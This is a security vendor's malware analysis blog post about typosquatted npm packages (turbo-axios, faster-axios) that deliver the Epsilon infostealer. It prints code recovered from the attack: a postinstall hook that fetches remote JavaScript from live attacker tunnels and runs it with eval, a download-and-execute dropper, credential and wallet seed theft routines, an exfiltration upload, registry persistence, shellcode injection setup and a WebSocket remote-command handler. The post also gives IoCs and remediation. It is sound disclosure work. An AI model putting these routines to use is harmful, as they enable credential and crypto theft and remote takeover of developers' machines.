Axios Typosquats Deliver the Epsilon Stealer

SafeDep Team
9 min read

Table of Contents

Two malicious npm packages, turbo-axios and faster-axios, target developers searching for the popular axios HTTP client. Both are trojanized copies of the real axios source with a single addition: a postinstall hook that fetches and eval()s remote JavaScript. The chain terminates in Epsilon Stealer, a Malware-as-a-Service (MaaS) Electron infostealer that harvests browser credentials, crypto wallets, and messaging sessions, then opens a persistent WebSocket channel for arbitrary command execution.

The operator published turbo-axios on May 23. After npm took it down five days later (MAL-2026-4695), they registered a new account and published faster-axios on June 1. Shared C2 infrastructure links the two packages. The C2 was live at time of analysis, and we recovered every stage of the payload.

Package overview

The npm maintainer account speedsteraxios registered with a throwaway Proton email. The package copies axios wholesale (78 files, matching directory structure) and steals its metadata:

faster-axios/package.json
{
"name": "faster-axios",
"description": "a faster and better version of axios for low latency",
"author": { "name": "Matt Zabriskie" },
"repository": { "type": "git", "url": "git+https://github.com/axios/axios.git" },
"homepage": "https://axios-http.com"
}

Matt Zabriskie is the original axios author. The repository and homepage point to the real project. Version numbers (1.17.3, 1.17.4) are inflated above the legitimate axios release line to suggest a newer build. Every file in the tarball carries a forged mtime of 1985-10-26 08:15:00, an artifact of the repack process.

The four-stage payload chain

Stage 1: postinstall eval loader

The only modification to the axios codebase is lib/core/eval.js, wired to execute on install:

// faster-axios/package.json (diff vs. real axios)
"postinstall": "node ./lib/core/eval.js"

Real axios has no postinstall script. The hook fires on npm install and runs:

// package/lib/core/eval.js (v1.17.4)
async function sendAnalytics() {
const response = await fetch('https://apparently-movers-mysql-heights.trycloudflare.com/download/datab1');
const datab2 = await response.text();
await eval(`(async () => {\n${datab2}\n})();`);
}
sendAnalytics();

The attacker switched infrastructure between versions. Version 1.17.3 pulled from cold5.gofile.io (now deleted); version 1.17.4 moved to a Cloudflare quick-tunnel. The debugger; statements and numbered console.log markers scattered through the file suggest code left mid-testing.

Stage 2: Windows dropper

The downloaded datab1 is a Windows-specific dropper, 34 lines of JavaScript:

// datab1 (retrieved live from trycloudflare C2)
const url = 'https://apparently-movers-mysql-heights.trycloudflare.com/download/epsilon';
const filename = 'hello.exe';
const tempDir = process.env.TEMP || process.env.TMP || 'C:\\Windows\\Temp';
const filePath = path.default.join(tempDir, filename);
const file = fs.default.createWriteStream(filePath);
https.default.get(url, (response) => {
response.pipe(file);
file.on('finish', () => {
file.close(() => {
execFile(filePath, (error) => {});
});
});
});

The dropper downloads an 86 MB binary to %TEMP%\hello.exe and runs it with execFile. No persistence at this stage; that comes later.

Note: stages 1 and 2 execute on any OS, since eval() runs whatever the C2 serves. The Windows-specific dropper is what was live during analysis. The server could swap in a different payload for Linux or macOS at any time.

Stage 3: NSIS installer

hello.exe is a PE32 Nullsoft (NSIS v3.04) self-extracting archive:

$ file hello.exe
hello.exe: PE32 executable (GUI) Intel 80386, Nullsoft Installer self-extracting archive
$ sha256sum hello.exe
bc46e88b1fdf8c27e3404146306b4651f69728f7d8d939a219dfbcb5a23ef69a
$ ls -l hello.exe
-rw-r--r-- 1 vscode vscode 86235515 Jun 2 03:26 hello.exe

86 MB for an installer that unpacks to a ~17 MB Electron app. The padding is a scanner-evasion technique: many AV sandboxes skip files above a certain size threshold. Extracting with 7z reveals an electron-builder layout:

$PLUGINSDIR/
app-64.7z (85.9 MB, contains the Electron app)
nsis7z.dll
StdUtils.dll
System.dll

Stage 4: Epsilon Stealer

The inner app-64.7z unpacks to a full Electron runtime (winhost.exe) plus resources/app.asar containing the stealer source. The package.json identifies the payload:

app.asar/package.json
{
"name": "winhost",
"productName": "winhost",
"version": "1.0.1",
"epsilon_key": "SK-754644F96BBA9652C8A2A08042ABAF58827D",
"author": "OracleCorporation",
"main": "src/index.js"
}

The epsilon_key is the operator’s license key for the Epsilon MaaS platform. The “OracleCorporation” author and “winhost” product name are decoys meant to blend with legitimate Windows processes.

The stealer source lives in a single 122 KB file, src/index.js (3,360 lines). Four Cloudflare quick-tunnels make up its C2 infrastructure:

// src/index.js lines 98-101
const epsilon_api = 'https://recorded-distinct-face-girlfriend.trycloudflare.com/customer';
const DOWNLOAD_URL = 'https://consequences-faces-weblogs-clinical.trycloudflare.com/download/load';
const CLI_API = `${epsilon_api}/clip`;
let GATEWAY_URL = 'wss://prep-integer-lit-preferences.trycloudflare.com';

Each tunnel serves a different function: exfil API, secondary downloads, clipper, and the WebSocket RAT gateway.

Stealing everything on the machine

Epsilon runs through a parallel Promise.allSettled batch that hits every target category at once.

Browser credentials from Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Yandex, and Firefox. For Chromium browsers, it loads Crypt32.dll via koffi (an FFI library) and calls CryptUnprotectData to decrypt DPAPI-protected master keys, then AES-GCM decrypts individual password and cookie entries:

// src/index.js lines 105-123
const crypt32 = koffi.load('Crypt32');
const DATA_BLOB = koffi.struct('DATA_BLOB', {
cbData: 'uint32',
pbData: 'uint8 *',
});
const decrypt = crypt32.func(
'bool CryptUnprotectData(DATA_BLOB *, string, string, void *, string, uint32, _Out_ DATA_BLOB *)'
);

For Firefox, it ships a full NSS library loader (lines 1751-1875) that decrypts logins.json by initializing the NSS security module and extracting PKCS#11 keys.

Crypto wallets: 30+ targets across browser extensions and desktop applications. MetaMask, Phantom, Exodus, Trust Wallet, Ledger Live, Electrum, Bitcoin Core, Monero GUI, and many others. For MetaMask and Exodus, it goes further and decrypts the vault to extract BIP-39 mnemonic seed phrases:

// src/index.js lines 1385-1397
async function GetWalletSeedPhrase(WalletPath, WalletName, type){
if(type == "Browser"){
switch(WalletName){
case "MetaMask":
case "MetaMask_Edge":
var vault = await GetVault(WalletPath)
if(vault != null){
var decrypted = await DecryptVault(vault)
var SeedPhrase = fromMnemonic(decrypted['decrypted'][0]['data']['mnemonic']);
fs.writeFileSync(path.join(FinalDirectory, "Seed Phrases.txt"),
SeedPhrase + "\n", { flag: 'a' })
}
break;

Messaging sessions: Discord tokens (validated against the Discord API and exfiltrated to a dedicated ${epsilon_api}/discord-token endpoint), Telegram tdata directory, and GitHub 2FA backup codes.

Sensitive files: scans Desktop, Downloads, and Documents for files matching keyword and extension patterns. The keyword list covers English and French terms: password, seed, wallet, metamask, 2fa, backup, motdepasse, banque, sauvegarde, and dozens more, combined with extensions like .rdp, .keys, .wallet, .seed, .mnemonic.

All stolen data gets zipped and uploaded as a multipart form:

// src/index.js lines 669-678
const form = new FormData();
form.append('file', fs.createReadStream(FinalFile));
form.append('json', JSON.stringify(data));
form.append('epsilon_key', epsilon_key || '');
const response = await axios.post(`${epsilon_api}/upload`, form, {
headers: form.getHeaders(),
timeout: 120000,
});

Persistence, shellcode injection, and the RAT

The stealer copies itself to %LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe and adds a registry Run key:

// src/index.js lines 999-1009
function ConfigurePersistence() {
fs.copyFileSync(process.env.PORTABLE_EXECUTABLE_FILE, path.join(StartupPath, 'svchost.exe'));
const RegKey = new winreg({
hive: winreg.HKCU,
key: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
});
RegKey.set('svchost', winreg.REG_SZ, path.join(StartupPath, 'svchost.exe'), () => {});
}

A separate function (GrabChromium, line 3124) downloads shellcode from the same delivery tunnel, XOR-decodes it with key 0xAA, spawns a suspended dllhost.exe, and injects via classic VirtualAllocEx + WriteProcessMemory + CreateRemoteThread. All of this through Electron’s koffi FFI binding to kernel32.dll:

// src/index.js lines 3164-3170
const kernel32 = koffi.load('kernel32.dll');
const OpenProcess = kernel32.func('void * __stdcall OpenProcess(uint32_t, bool, uint32_t)');
const VirtualAllocEx = kernel32.func('void * __stdcall VirtualAllocEx(void *, void *, size_t, uint32_t, uint32_t)');
const WriteProcessMemory = kernel32.func('bool __stdcall WriteProcessMemory(void *, void *, void *, size_t, void *)');
const CreateRemoteThread = kernel32.func(
'void * __stdcall CreateRemoteThread(void *, void *, size_t, void *, void *, uint32_t, uint32_t *)'
);

After data exfiltration completes, Epsilon opens a persistent WebSocket connection to wss://prep-integer-lit-preferences.trycloudflare.com and registers with a machine UUID. The operator can then send arbitrary commands:

// src/index.js lines 3302-3310
ws.on('message', (data) => {
const msg = JSON.parse(data.toString());
if (msg.type === 'run' && msg.command && msg.shell) {
run(msg.command, msg.shell);
}
});

The run function spawns either cmd.exe or powershell.exe and streams stdout back over the WebSocket in real time. Auto-reconnect with exponential backoff (2 seconds to 60 seconds) keeps the channel alive.

Indicators of compromise

Packages:

Network (defanged):

  • hxxps://apparently-movers-mysql-heights[.]trycloudflare[.]com (payload delivery + shellcode)
  • hxxps://recorded-distinct-face-girlfriend[.]trycloudflare[.]com/customer (exfil API)
  • hxxps://consequences-faces-weblogs-clinical[.]trycloudflare[.]com (secondary download, shared with turbo-axios)
  • wss://prep-integer-lit-preferences[.]trycloudflare[.]com (WebSocket RAT)
  • hxxps://philosophy-moms-incoming-milton[.]trycloudflare[.]com (turbo-axios stage-2)

Host artifacts:

  • %TEMP%\hello.exe (86 MB NSIS installer, sha256: bc46e88b...69a)
  • %LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe (persistence copy)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost (registry key)

Operator identifier: epsilon_key SK-754644F96BBA9652C8A2A08042ABAF58827D

This is a campaign, not a one-off

turbo-axios appeared on npm on May 23, 2026, eight days before faster-axios. It was flagged as malicious (MAL-2026-4695), and npm applied a security hold on May 28. The attacker published faster-axios four days later using a new account.

The link between the two packages is concrete: turbo-axios used consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1 as its stage-2 C2 endpoint. That same consequences-faces-weblogs-clinical tunnel appears in faster-axios’s Epsilon Stealer as the secondary download URL (DOWNLOAD_URL on line 99 of the stealer source). Same operator, same infrastructure, rotating through npm accounts after takedown.

PackagePublishedVersionsStage-2 C2Status
turbo-axios2026-05-231.17.2, 1.17.3consequences-faces-weblogs-clinical + philosophy-moms-incoming-miltonTaken down (MAL-2026-4695)
faster-axios2026-06-011.17.3, 1.17.4apparently-movers-mysql-heights + cold5.gofile.ioLive at analysis

Both use the same version numbering scheme (1.17.x), the same postinstall: node ./lib/core/eval.js hook, the same sendAnalytics() function name, and the same /download/datab1 URL path convention. The operator rotated tunnels and npm accounts after each takedown but reused the same Epsilon infrastructure.

The earlier axios supply chain compromise targeted the real maintainer account through account takeover. This campaign is a different actor using typosquats as a distribution vector for Epsilon Stealer MaaS. The epsilon_key SK-754644F96BBA9652C8A2A08042ABAF58827D identifies this specific operator. Expect more packages in this pattern as long as the Epsilon infrastructure remains active.

Remediation

If you installed faster-axios or turbo-axios, treat the machine as compromised. Epsilon Stealer establishes persistence via registry Run keys, injects shellcode into system processes, and opens a WebSocket RAT for arbitrary command execution. Attempting to clean a system with this level of compromise is unreliable.

  1. Reimage the machine. Do not attempt manual cleanup.
  2. Rotate all credentials that were accessible from the compromised host: browser-saved passwords, API keys, cloud tokens, SSH keys, and any secrets in environment variables.
  3. Revoke all active sessions for Discord, Telegram, GitHub, and any other services with saved logins.
  4. Move crypto wallet funds to new wallets generated on a clean device. Epsilon extracts seed phrases for MetaMask and Exodus; assume all wallet secrets are in the attacker’s hands.
  5. Audit access logs for accounts that were reachable from the compromised machine.

To prevent this class of attack, vet flags typosquats and suspicious install hooks during dependency resolution. pmg goes a step further as a package manager proxy, blocking malicious packages at install time before postinstall hooks can execute on your machine.

  • vet
  • malware
  • npm
  • supply-chain
  • credential-theft
  • infostealer

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.